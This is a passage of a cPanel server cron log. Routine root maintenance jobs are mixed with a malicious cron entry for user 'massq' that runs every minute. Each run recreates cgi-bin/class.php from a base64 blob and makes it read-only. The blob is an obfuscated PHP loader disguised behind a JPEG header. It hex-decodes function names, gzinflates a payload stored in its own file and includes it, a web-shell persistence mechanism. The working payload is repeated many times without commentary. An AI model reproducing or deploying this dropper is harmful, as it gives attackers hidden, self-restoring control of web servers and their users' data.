hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:27:01 server CROND[31221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:27:01 server CROND[31222]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 22:28:01 server CROND[31283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:29:01 server CROND[31335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:30:02 server CROND[31567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:30:02 server CROND[31568]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 22:30:02 server CROND[31569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:30:02 server CROND[31570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:31:01 server CROND[31789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:32:01 server CROND[31850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:33:01 server CROND[31904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:34:01 server CROND[31962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:35:01 server CROND[32015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:35:01 server CROND[32016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 22:35:01 server CROND[32019]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 22:35:01 server CROND[32020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:35:01 server CROND[32021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:36:01 server CROND[32230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:37:01 server CROND[32290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:38:01 server CROND[32350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:39:01 server CROND[32418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 22:39:01 server CROND[32419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:40:01 server CROND[32474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 22:40:01 server CROND[32475]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:40:01 server CROND[32477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:40:01 server CROND[32479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 